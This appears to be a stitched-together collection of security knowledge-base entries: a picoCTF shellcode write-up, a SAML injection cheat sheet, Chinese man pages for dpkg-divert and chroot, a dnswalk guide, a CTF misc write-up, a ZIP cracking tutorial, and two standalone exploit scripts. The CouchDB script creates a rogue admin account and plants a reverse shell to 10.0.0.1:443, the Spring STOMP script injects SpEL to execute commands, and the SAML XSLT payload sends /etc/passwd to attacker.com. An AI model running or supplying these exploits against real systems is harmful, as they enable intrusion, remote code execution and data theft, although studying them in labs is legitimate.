params = {"argv": path, "cwd": os.path.dirname(path)}
if is_ssh:
s = ssh(host=SSH_SERVER, user=ssh_user)
p = s.process(**params)
else:
p = process(**params)
return p
parser = argparse.ArgumentParser()
parser.add_argument("-s", "--ssh_user", help="Connect via SSH with the given username")
args = parser.parse_args()
context.binary = get_process_path()
p = get_process(args.ssh_user)
shellcode = shellcraft.sh()
print "Shellcode:"
print shellcode
payload = asm(shellcode)
p.sendlineafter("Enter a string!", payload)
p.interactive()
```
Output:
```console
root@kali:/media/sf_CTFs/pico/shellcode# python exploit.py --ssh_user=$pico_ssh_user
[*] '/media/sf_CTFs/pico/shellcode/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Connecting to 2018shell3.picoctf.com on port 22: Done
[*] user@2018shell3.picoctf.com:
Distro Ubuntu 16.04
OS: linux
Arch: amd64
Version: 4.4.0
ASLR: Enabled
[+] Starting remote process '/problems/shellcode_0_48532ce5a1829a772b64e4da6fa58eed/vuln' on 2018shell3.picoctf.com: pid 94685
Shellcode:
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
[*] Switching to interactive mode
jhh///sh/bin\x89h\x814$ri1Qj\x04YQ1j\x0bX̀
Thanks! Executing now...
$ $ ls
flag.txt vuln vuln.c
$ $ cat flag.txt
picoCTF{shellc0de_w00h00_9ee0edd0}$ $ exit
[*] Got EOF while reading in interactive
$
[*] Stopped remote process 'vuln' on 2018shell3.picoctf.com (pid 94685)
[*] Got EOF while sending in interactive
```
The flag: picoCTF{shellc0de_w00h00_9ee0edd0}
|
sec-knowleage
|
# SAML Injection
> Security Assertion Markup Language (SAML) is an open standard that allows security credentials to be shared by multiple computers across a network. When using SAML-based Single Sign-On (SSO), three distinct parties are involved. There is a user (the so-called principal), an IDentity Provider (IDP), and a cloud application Service Provider (SP). - centrify
## Summary
* [Tools](#tools)
* [Authentication Bypass](#authentication-bypass)
* [Invalid Signature](#invalid-signature)
* [Signature Stripping](#signature-stripping)
* [XML Signature Wrapping Attacks](#xml-signature-wrapping-attacks)
* [XML Comment Handling](#xml-comment-handling)
* [XML External Entity](#xml-external-entity)
* [Extensible Stylesheet Language Transformation](#extensible-stylesheet-language-transformation)
## Tools
- [SAML Raider - Burp Extension](https://github.com/SAMLRaider/SAMLRaider)
- [SAML Support - ZAP Addon](https://www.zaproxy.org/docs/desktop/addons/saml-support/)
## Authentication Bypass
A SAML Response should contain the `<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"`.
### Invalid Signature
Signatures which are not signed by a real CA are prone to cloning. Ensure the signature is signed by a real CA. If the certificate is self-signed, you may be able to clone the certificate or create your own self-signed certificate to replace it.
### Signature Stripping
> [...]accepting unsigned SAML assertions is accepting a username without checking the password - @ilektrojohn
The goal is to forge a well formed SAML Assertion without signing it. For some default configurations if the signature section is omitted from a SAML response, then no signature verification is performed.
Example of SAML assertion where `NameID=admin` without signature.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" Destination="http://localhost:7001/saml2/sp/acs/post" ID="id39453084082248801717742013" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" Format="urn:oasis:names:tc:SAML:2.0:nameidformat:entity">REDACTED</saml2:Issuer>
<saml2p:Status xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol">
<saml2p:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success" />
</saml2p:Status>
<saml2:Assertion xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion" ID="id3945308408248426654986295" IssueInstant="2018-04-22T10:28:53.593Z" Version="2.0">
<saml2:Issuer Format="urn:oasis:names:tc:SAML:2.0:nameid-format:entity" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">REDACTED</saml2:Issuer>
<saml2:Subject xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:NameID Format="urn:oasis:names:tc:SAML:1.1:nameidformat:unspecified">admin</saml2:NameID>
<saml2:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer">
<saml2:SubjectConfirmationData NotOnOrAfter="2018-04-22T10:33:53.593Z" Recipient="http://localhost:7001/saml2/sp/acs/post" />
</saml2:SubjectConfirmation>
</saml2:Subject>
<saml2:Conditions NotBefore="2018-04-22T10:23:53.593Z" NotOnOrAfter="2018-0422T10:33:53.593Z" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AudienceRestriction>
<saml2:Audience>WLS_SP</saml2:Audience>
</saml2:AudienceRestriction>
</saml2:Conditions>
<saml2:AuthnStatement AuthnInstant="2018-04-22T10:28:49.876Z" SessionIndex="id1524392933593.694282512" xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">
<saml2:AuthnContext>
<saml2:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport</saml2:AuthnContextClassRef>
</saml2:AuthnContext>
</saml2:AuthnStatement>
</saml2:Assertion>
</saml2p:Response>
```
### XML Signature Wrapping Attacks
XML Signature Wrapping (XSW) attack, some implementations check for a valid signature and match it to a valid assertion, but do not check for multiple assertions, multiple signatures, or behave differently depending on the order of assertions.
- XSW1 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response after the existing signature.
- XSW2 – Applies to SAML Response messages. Add a cloned unsigned copy of the Response before the existing signature.
- XSW3 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion before the existing Assertion.
- XSW4 – Applies to SAML Assertion messages. Add a cloned unsigned copy of the Assertion within the existing Assertion.
- XSW5 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed at the end of the SAML message.
- XSW6 – Applies to SAML Assertion messages. Change a value in the signed copy of the Assertion and adds a copy of the original Assertion with the signature removed after the original signature.
- XSW7 – Applies to SAML Assertion messages. Add an “Extensions” block with a cloned unsigned assertion.
- XSW8 – Applies to SAML Assertion messages. Add an “Object” block containing a copy of the original assertion with the signature removed.
In the following example, these terms are used.
- FA: Forged Assertion
- LA: Legitimate Assertion
- LAS: Signature of the Legitimate Assertion
```xml
<SAMLResponse>
<FA ID="evil">
<Subject>Attacker</Subject>
</FA>
<LA ID="legitimate">
<Subject>Legitimate User</Subject>
<LAS>
<Reference Reference URI="legitimate">
</Reference>
</LAS>
</LA>
</SAMLResponse>
```
In the Github Enterprise vulnerability, this request would verify and create a sessions for `Attacker` instead of `Legitimate User`, even if `FA` is not signed.
### XML Comment Handling
A threat actor who already has authenticated access into a SSO system can authenticate as another user without that individual’s SSO password. This [vulnerability](https://www.bleepstatic.com/images/news/u/986406/attacks/Vulnerabilities/SAML-flaw.png) has multiple CVE in the following libraries and products.
- OneLogin - python-saml - CVE-2017-11427
- OneLogin - ruby-saml - CVE-2017-11428
- Clever - saml2-js - CVE-2017-11429
- OmniAuth-SAML - CVE-2017-11430
- Shibboleth - CVE-2018-0489
- Duo Network Gateway - CVE-2018-7340
Researchers have noticed that if an attacker inserts a comment inside the username field in such a way that it breaks the username, the attacker might gain access to a legitimate user's account.
```xml
<SAMLResponse>
<Issuer>https://idp.com/</Issuer>
<Assertion ID="_id1234">
<Subject>
<NameID>user@user.com<!--XMLCOMMENT-->.evil.com</NameID>
```
Where `user@user.com` is the first part of the username, and `.evil.com` is the second.
### XML External Entity
An alternative exploitation would use `XML entities` to bypass the signature verification, since the content will not change, except during XML parsing.
In the following example:
- `&s;` will resolve to the string `"s"`
- `&f1;` will resolve to the string `"f1"`
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Response [
<!ENTITY s "s">
<!ENTITY f1 "f1">
]>
<saml2p:Response xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol"
Destination="https://idptestbed/Shibboleth.sso/SAML2/POST"
ID="_04cfe67e596b7449d05755049ba9ec28"
InResponseTo="_dbbb85ce7ff81905a3a7b4484afb3a4b"
IssueInstant="2017-12-08T15:15:56.062Z" Version="2.0">
[...]
<saml2:Attribute FriendlyName="uid"
Name="urn:oid:0.9.2342.19200300.100.1.1"
NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:uri">
<saml2:AttributeValue>
&s;taf&f1;
</saml2:AttributeValue>
</saml2:Attribute>
[...]
</saml2p:Response>
```
The SAML response is accepted by the service provider. Due to the vulnerability, the service provider application reports "taf" as the value of the "uid" attribute.
### Extensible Stylesheet Language Transformation
An XSLT can be carried out by using the `transform` element.
Picture from [http://sso-attacks.org/XSLT_Attack](http://sso-attacks.org/XSLT_Attack)
```xml
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl"select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>
```
## References
- [SAML Burp Extension - ROLAND BISCHOFBERGER - JULY 24, 2015](https://blog.compass-security.com/2015/07/saml-burp-extension/)
- [The road to your codebase is paved with forged assertions - @ilektrojohn - March 13, 2017](http://www.economyofmechanism.com/github-saml)
- [SAML_Security_Cheat_Sheet.md - OWASP](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/SAML_Security_Cheat_Sheet.md)
- [On Breaking SAML: Be Whoever You Want to Be - Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco Kampmann, and Meiko Jensen](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91-8-23-12.pdf)
- [Making Headlines: SAML - March 19, 2018 - Torsten George](https://blog.centrify.com/saml/)
- [Vulnerability Note VU#475445 - 2018-02-27 - Carnegie Mellon University](https://www.kb.cert.org/vuls/id/475445/)
- [ORACLE WEBLOGIC - MULTIPLE SAML VULNERABILITIES (CVE-2018-2998/CVE-2018-2933) - Denis Andzakovic - Jul 18, 2018](https://pulsesecurity.co.nz/advisories/WebLogic-SAML-Vulnerabilities)
- [Truncation of SAML Attributes in Shibboleth 2 - 2018-01-15 - redteam-pentesting.de](https://www.redteam-pentesting.de/de/advisories/rt-sa-2017-013/-truncation-of-saml-attributes-in-shibboleth-2)
- [Attacking SSO: Common SAML Vulnerabilities and Ways to Find Them - March 7th, 2017 - Jem Jensen](https://blog.netspi.com/attacking-sso-common-saml-vulnerabilities-ways-find/)
- [How to Hunt Bugs in SAML; a Methodology - Part I - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
- [How to Hunt Bugs in SAML; a Methodology - Part II - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
- [How to Hunt Bugs in SAML; a Methodology - Part III - @epi052](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
sec-knowleage
|
dpkg-divert
===
Debian Linux中创建并管理一个转向列表
## 补充说明
**dpkg-divert命令** 是Debian Linux中创建并管理一个转向(diversion)列表,其使得安装文件的默认位置失效的工具。
### 语法
```shell
dpkg-divert(选项)(参数)
```
### 选项
```shell
--add:添加一个转移文件;
--remove:删除一个转移文件;
--list:列出匹配的转移;
--truename:对应转移文件真实文件名;
--quidet:安静模式。
```
### 参数
文件:指定转移文件名。
### 实例
指定软件包wibble安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`:
```shell
dpkg-divert --package wibble --divert /usr/bin/example.foo --rename /usr/bin/example
```
指定软件包wibble安装时,删除对`/usr/bin/example`的转移修改:
```shell
dpkg-divert --package wibble --rename --remove /usr/bin/example
```
删除对`/usr/bin/example`的转移修改:
```shell
dpkg-divert --rename --remove /usr/bin/example
```
添加一个软件包安装时,写入`/usr/bin/example.foo`,而不是`/usr/bin/example`的修改:
```shell
dpkg-divert --divert /usr/bin/example.foo --rename /usr/bin/example
```
|
sec-knowleage
|
#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth
target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1
session = requests.session()
session.headers = {
'Content-Type': 'application/json'
}
# session.proxies = {
# 'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
"type": "user",
"name": "wooyun",
"roles": ["_admin"],
"roles": [],
"password": "wooyun"
}''')
session.auth = HTTPBasicAuth('wooyun', 'wooyun')
command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
host = session.get(target + '/_membership').json()['all_nodes'][0]
session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))
session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')
if version == 1:
session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
|
sec-knowleage
|
.TH CHROOT "1" "August 1999" "GNU sh-utils 2.0" FSF
.SH NAME
chroot \- 以 特定 根 目录 运行 命令 或者 交互式 shell
.SH "总览 (SYNOPSIS)"
.B chroot
[\fIOPTION\fR]\fI NEWROOT \fR[\fICOMMAND\fR...]
.br
.B chroot
\fIOPTION\fR
.SH "描述 (DESCRIPTION)"
.PP
以 NEWROOT 为 根 目录 运行 COMMAND.
.TP
\fB\-\-help\fR
显示 帮助 并且 退出
.TP
\fB\-\-version\fR
显示 版本 信息 并且 退出
.PP
如果 没有 指定 命令, 运行 ``${SHELL} \fB\-i\fR'' (默认: /bin/sh).
.SH "报告错误 (REPORTING BUGS)"
把 错误 报告 给 <bug-sh-utils@gnu.org>.
.SH "参见 (SEE ALSO)"
.B chroot
的 完整 的 文档 是 以 Texinfo 手册页 维护 的. 如果
.B info
和
.B chroot
程序 被 正确 的 安装 在 你的 机子 上, 用
.IP
.B info chroot
.PP
命令 查看 完整 的 手册页.
.SH "版权 (COPYRIGHT)"
版权所有 \(co 1999 自由软件基金会
.br
这一程序是自由软件; 拷贝条件见源文件.
没有任何担保; 甚至没有适合特定目的的隐含的担保.
.SH "[中文版维护人]"
.B 唐友 <tony_ty@263.net>
.SH "[中文版最新更新]"
.BR 2001/9/20
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
---
title: dnswalk
categories: Information Gathering
tags: [dnswalk,information gathering,recon,dns,kali linux]
date: 2016-10-21 10:07:46
---
0x00 dnswalk介绍
-------------
dnswalk是一个DNS调试器,它执行指定域的传送,并以多种方式检查数据库内部一致性以及准确性。
工具来源:http://sourceforge.net/projects/dnswalk/
[dnstracer主页][1] | [Kali dnstracer Repo仓库][2]
- 作者:David Barr
- 证书:Artistic
0x01 dnswalk功能
---------------
```shell
root@kali:~# dnswalk --help
用法: dnswalk [-选项[-更多选项]] [--] [程序参数1 ...]
接受以下单字符选项:
该选项有参数: -D
布尔型(没有参数): -r -f -i -a -d -m -F -l
选项可以合并在一起,--stop选项不做合并处理
选项及其参数之间不需要空
示例: dnswalk domain.com.
输入的域名必须以'.'结束
```
```shell
-r 递归向下查询指定域的子域
-a 打开重复A记录的警告
-d 打印调试和'状态'信息到stderr(仅在重定向stdout时使用)
-m 仅在上次运行后域已被修改时才执行检查
-F 执行"fascist"检查,在检查A记录时,不匹配每个IP地址的PTR名称与转发名称和报告
-i 禁止检查域名中的无效字符
-l 执行"lame delegation"检查。 对于每个NS记录,检查列出的主机是否确实是此域返回的权威答应。
```
0x02 dnswalk用法示例
-----------------
```shell
root@kali:~# dnswalk www.harvard.edu.
Checking www.harvard.edu.
BAD: SOA record not found for www.harvard.edu.
BAD: www.harvard.edu. has NO authoritative nameservers!
BAD: All zone transfer attempts of www.harvard.edu. failed!
0 failures, 0 warnings, 3 errors.
```
现在大多都没有域传送的漏洞了,这个工具现在比较鸡肋。
[1]: http://sourceforge.net/projects/dnswalk/
[2]: http://tools.kali.org/information-gathering/dnswalk
|
sec-knowleage
|
#!/usr/bin/env python3
import requests
import random
import string
import time
import threading
import logging
import sys
import json
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
def random_str(length):
letters = string.ascii_lowercase + string.digits
return ''.join(random.choice(letters) for c in range(length))
class SockJS(threading.Thread):
def __init__(self, url, *args, **kwargs):
super().__init__(*args, **kwargs)
self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'
self.daemon = True
self.session = requests.session()
self.session.headers = {
'Referer': url,
'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'
}
self.t = int(time.time()*1000)
def run(self):
url = f'{self.base}/htmlfile?c=_jp.vulhub'
response = self.session.get(url, stream=True)
for line in response.iter_lines():
time.sleep(0.5)
def send(self, command, headers, body=''):
data = [command.upper(), '\n']
data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))
data.append('\n\n')
data.append(body)
data.append('\x00')
data = json.dumps([''.join(data)])
response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)
if response.status_code != 204:
logging.info(f"send '{command}' data error.")
else:
logging.info(f"send '{command}' data success.")
def __del__(self):
self.session.close()
sockjs = SockJS('http://your-ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)
sockjs.send('connect', {
'accept-version': '1.1,1.0',
'heart-beat': '10000,10000'
})
sockjs.send('subscribe', {
'selector': "T(java.lang.Runtime).getRuntime().exec('touch /tmp/success')",
'id': 'sub-0',
'destination': '/topic/greetings'
})
data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {
'content-length': len(data),
'destination': '/app/hello'
}, data)
|
sec-knowleage
|
# b4s1[4l (Misc 150)
```
Dive into this, it's a terrorist transmission, they can't know too much about encoding &|| cryptography.
It was sent hundreds of times to all their supporters. We really think it s actually the same message.
https://dctf.def.camp/b4s1.php
Hint1: "What is normal in the challenge title?"
Hint 2: strrev(strtoupper($title))
```
###ENG
[PL](#pl-version)
In the task we have access to webpage with 6 lines of 16 byte strings:
```
fw[TqCTfDCoXnEpO
HsQd^DnInc}_tVeG
FyIG`ebzDcE\sM{X
fIivqEmcJo_snC\b
TaYNwORnfgoFdRRc
RukE\zEEPegOVu@h
```
Each time you refresh the page the strings change.
Even before the hints were posted we did bitwise analysis of the data on the page and it seemed that in our sample of a few hundred strings there was a regularity: the least significant bit of each byte was constant.
So we extracted those bits and tried to decode this in every way possible (by column, by row, inverted, as 6,7,8 bit bytes, xored etc.), failing.
But after admins spoke to some teams about the task, they figured that they made a mistake...
After the task was `fixed` it turned out that the solution was as simple as treating each 8 bits as a ascii byte, and translating the message to `leastnotlast`.
###PL version
W zadaniu dostajemy dostęp do strony internetowej na której wyświetlane jest 6 linii tekstu po 16 bajtów w linii:
```
fw[TqCTfDCoXnEpO
HsQd^DnInc}_tVeG
FyIG`ebzDcE\sM{X
fIivqEmcJo_snC\b
TaYNwORnfgoFdRRc
RukE\zEEPegOVu@h
```
Za każdym refreshem stringi na stronie są inne.
Jeszcze zanim pojawiły się hinty przeprowadziliśmy analizę bitów stringów na stronie, na próbce kilkuset różnych zestawów, i widać było regularność: niski bit każdego bajtu był stały.
Wyciągnęliśmy powtarzające się bity i próbowaliśmy dekodować je na wszystkie sposoby (po kolumnie, po wierszu, odwrócone, jako 6,7,8 bitowe bajty, xorowane itd), ale bez efektów.
Jakiś czas później admini przeprowadzili wywiad wśród kilku drużyn i zrozumieli że pomylili się w zadaniu...
Po tym jak zadanie zostało `naprawione` rozwiązaniem okazało się po prostu potraktowanie każdych 8 bitów jako bajtu ascii co dało wiadomość `leastnotlast`.
|
sec-knowleage
|
### ZIP文件结构
`ZIP` 文件主要由三部分构成,分别为
| 压缩源文件数据区 | 核心目录 | 目录结束 |
| ----------------------------------------------- | ----------------- | ------------------------------- |
| local file header + file data + data descriptor | central directory | end of central directory record |
- 压缩源文件数据区中每一个压缩的源文件或目录都是一条记录,其中
- `local file header` :文件头用于标识该文件的开始,记录了该压缩文件的信息,这里的文件头标识由固定值 `50 4B 03 04` 开头,也是 `ZIP` 的文件头的重要标志
- `file data` :文件数据记录了相应压缩文件的数据
- `data descriptor` :数据描述符用于标识该文件压缩结束,该结构只有在相应的 `local file header` 中通用标记字段的第 `3 bit` 设为 `1` 时才会出现,紧接在压缩文件源数据后
- `Central directory` 核心目录
- 记录了压缩文件的目录信息,在这个数据区中每一条纪录对应在压缩源文件数据区中的一条数据。
| Offset | Bytes | Description | 译 |
| ------ | ----- | ---------------------------------------------------- | --------------------------------------- |
| 0 | 4 | Central directory file header signature = 0x02014b50 | 核心目录文件 header标识 =(0x02014b50) |
| 4 | 2 | Version made by | 压缩所用的 pkware 版本 |
| 6 | 2 | Version needed to extract (minimum) | 解压所需 pkware 的最低版本 |
| 8 | 2 | General purpose bit flag | 通用位标记伪加密 |
| 10 | 2 | Compression method | 压缩方法 |
| 12 | 2 | File last modification time | 文件最后修改时间 |
| 14 | 2 | File last modification date | 文件最后修改日期 |
| 16 | 4 | CRC-32 | CRC-32 校验码 |
| 20 | 4 | Compressed size | 压缩后的大小 |
| 24 | 4 | Uncompressed size | 未压缩的大小 |
| 28 | 2 | File name length (n) | 文件名长度 |
| 30 | 2 | Extra field length (m) | 扩展域长度 |
| 32 | 2 | File comment length (k) | 文件注释长度 |
| 34 | 2 | Disk number where file starts | 文件开始位置的磁盘编号 |
| 36 | 2 | Internal file attributes | 内部文件属性 |
| 38 | 4 | External file attributes | 外部文件属性 |
| 42 | 4 | relative offset of local header | 本地文件头的相对位移 |
| 46 | n | File name | 目录文件名 |
| 46+n | m | Extra field | 扩展域 |
| 46+n+m | k | File comment | 文件注释内容 |
- `End of central directory record(EOCD)` 目录结束标识
- 目录结束标识存在于整个归档包的结尾,用于标记压缩的目录数据的结束。每个压缩文件必须有且只有一个 `EOCD` 记录。
更加详细参见 [官方文档](https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.2.0.txt)。
### ZIP爆破攻击方式
这里主要介绍两款爆破使用的工具
- `Windows`下的神器 [ARCHPR](http://www.downcc.com/soft/130539.html)

暴力枚举,跑字典,明文攻击,应有尽有。
- `Linux` 下的命令行工具 [fcrackzip](https://github.com/hyc/fcrackzip)
```shell
# -b 指定模式为暴破,-c1指定密码类型为纯数字,其它类型可以rtfm,-u这个参数非常重要不然不显示破解出来的密码,-l 5-6可以指定长度
root@kali:fcrackzip -b -c1 -u test.zip
```
### ZIP基于CRC32的攻击方式原理
`CRC` 本身是「冗余校验码」的意思,`CRC32` 则表示会产生一个 `32 bit` ( `8` 位十六进制数)的校验值。由于 `CRC32` 产生校验值时源数据块的每一个 `bit` (位)都参与了计算,所以数据块中即使只有一位发生了变化,也会得到不同的 `CRC32` 值。
`CRC32` 校验码出现在很多文件中比如 `png` 文件,同样 `zip` 中也有 `CRC32` 校验码。值得注意的是 `zip` 中的 `CRC32` 是未加密文件的校验值。
这也就导致了基于 `CRC32` 的攻击手法。
- 文件内内容很少(一般比赛中大多为 `4` 字节左右)
- 加密的密码很长
我们不去爆破压缩包的密码,而是直接去爆破源文件的内容(一般都是可见的字符串),从而获取想要的信息。
比如我们新建一个 `flag.txt`,其中内容为 `123`,使用密码 `!QAZXSW@#EDCVFR$` 去加密。

而我们去计算文件的 `CRC32` 值发现和上图中的 `CRC32` 值吻合。
```shell
文件: flag.txt
大小: 3
时间: Tue, 29 Aug 2017 10:38:10 +0800
MD5: 202cb962ac59075b964b07152d234b70
SHA1: 40bd001563085fc35165329ea1ff5c5ecbdbbeef
CRC32: 884863D2
```
!!! note
在爆破时我们所枚举的所有可能字符串的 `CRC32` 值是要与压缩源文件数据区中的 `CRC32` 值所对应
```python
# -*- coding: utf-8 -*-
import binascii
import base64
import string
import itertools
import struct
alph = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/='
crcdict = {}
print "computing all possible CRCs..."
for x in itertools.product(list(alph), repeat=4):
st = ''.join(x)
testcrc = binascii.crc32(st)
crcdict[struct.pack('<i', testcrc)] = st
print "Done!"
f = open('flag.zip')
data = f.read()
f.close()
crc = ''.join(data[14:18])
if crc in crcdict:
print crcdict[crc]
else:
print "FAILED!"
```
### ZIP基于CRC32的攻击方式例题
> 题目:`Abctf-2016:Zippy`
根据每个压缩包内的文件大小可以推断使用 `CRC32` 攻击手法,获得每个压缩包内的内容后连在一起 `Base64` 解码后是一个加密的压缩包,爆破获得 `flag`。
### ZIP格式文件的明文攻击原理
- 一个加密的压缩文件
- 压缩文件的压缩工具,比如 `2345` 好压, `WinRAR` , `7z` 。 `zip` 版本号等,可以通过文件属性了解。如果是 `Linux` 平台,用 `zipinfo -v` 可以查看一个 `zip` 包的详细信息,包括加密算法等
- 知道压缩包里某个文件的部分连续内容(至少 `12` 字节)
如果你已经知道加密文件的部分内容,比如在某个网站上发现了它的 `readme.txt` 文件,你就可以开始尝试破解了。
首先,将这个明文文件打包成 `zip` 包,比如将 `readme.txt` 打包成 `readme.zip` 。
打包完成后,需要确认二者采用的压缩算法相同。一个简单的判断方法是用 `WinRAR` 打开文件,同一个文件压缩后的体积是否相同。如果相同,基本可以说明你用的压缩算法是正确的。如果不同,就尝试另一种压缩算法。
### ZIP格式文件的明文攻击工具
- Windows下的神器 [ARCHPR](http://www.downcc.com/soft/130539.html)
- Linux下的 [PKCrack](http://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html)
!!! note
建议使用 `Windows` 的 `ARCHPR`,一是速度较快,二是较稳定(之前出题时遇到过用 `PKCrack` 爆不出来的情况)。
### ZIP格式文件的明文攻击例题
> 2015广州强网杯:爆破?
>
> WP:https://www.cnblogs.com/ECJTUACM-873284962/p/9884416.html
首先我们拿到这样一道题,题目标题为**爆破?**,很明显这题肯定是要用到一个破解工具,很暴力的说。
**第一步、分析压缩包文件**
我们下载了这个压缩包以后,我们看到文件名是 ***.zip** 结尾,我们可以立即想到破解压缩包常用的几种方式,我们将其压缩包解压出来,发现里面有两个文件,分别为 `Desktop.zip` 和 `readme.txt` , `readme.txt` 打开以后是`qianwanbuyaogeixuanshoukandao!!!` ,出题人不想让选手看到,这出题人还是有点意思。我们再看看那个 `Desktop.zip` ,我们可以看到里面有个 `readme.txt` 文件和 `answer` 文件夹, `answer` 文件夹下有 `key.txt` 文件, `flag` 应该就藏在这里了。
**第二步、分析破解方式**
这题目拿到手上,我们首先发现解压出来的文件和 `Desktop.zip` 压缩包中都含有同样一个文件 `readme.txt` ,而且并没有给出其他相关信息,且文件大小大于 `12Byte` ,我们再对比压缩包中的 `readme.txt` 和原压缩包中的 `readme.txt` 的 `CRC32` 的值,我们发现两个值相同,这说明解压出的 `readme.txt` 是加密压缩包里的 `readme.txt` 的明文,于是我们可以大胆地猜测这极可能是个明文加密。

**第三步、尝试明文攻击**
既然我们已经知道了它是明文攻击的话,我们将对其压缩包进行破解,由于解压出的readme.txt是加密压缩包里的 `readme.txt` 的明文,将 `readme.txt` 压缩成 **.zip** 文件,然后在软件中填入相应的路径即可开始进行明文攻击,这里我们将介绍 `Windows` 和 `Ubuntu` 下使用不同的方式进行明文攻击。
方法一、 `pkcrack` 进行明文攻击
`pkcrack` 下载链接:https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack.html
我们可以直接写个 `shell` 脚本下载就好了:
```shell
#!/bin/bash -ex
wget https://www.unix-ag.uni-kl.de/~conrad/krypto/pkcrack/pkcrack-1.2.2.tar.gz
tar xzf pkcrack-1.2.2.tar.gz
cd pkcrack-1.2.2/src
make
mkdir -p ../../bin
cp extract findkey makekey pkcrack zipdecrypt ../../bin
cd ../../
```
把文件保存,改为 `pkcrack-install.sh` ,然后跑到当前目录下,给它加一个执行权限 `x` 。
```shell
chmod 777 install.sh
```
或者直接可以:
```shell
chmod u+x install.sh
```
然后运行 `./pkcrack-install.sh`

然后当前目录下会生成一个 `bin` 的文件夹,我们直接进入 `bin` 文件夹下,看到有 `pkcrack` 文件,直接对文件进行明文破解。
```shell
./pkcrack -c "readme.txt" -p readme.txt -C ~/下载/misc/Desktop.zip -P ~/下载/misc/readme.zip -d ~/decrypt.zip
```
我们所用到的参数选项如下:
```shell
-C:要破解的目标文件(含路径)
-c:破解文件中的明文文件的名字(其路径不包括系统路径,从zip文件一层开始)
-P:压缩后的明文文件
-p:压缩的明文文件中明文文件的名字(也就是readme.txt在readme.zip中的位置)
-d:指定文件名及所在的绝对路径,将解密后的zip文件输出
```
至于其他选项参看 `./pkcrack --help`
解密后的结果如下:




我们可以看到,我们下午 `1:10` 开始跑的,下午 `3:27` 才求解出秘钥。
我们得出了最终的flag为:**`flag{7ip_Fi13_S0m3tim3s_s0_3a5y@}`**
**坑点来了**
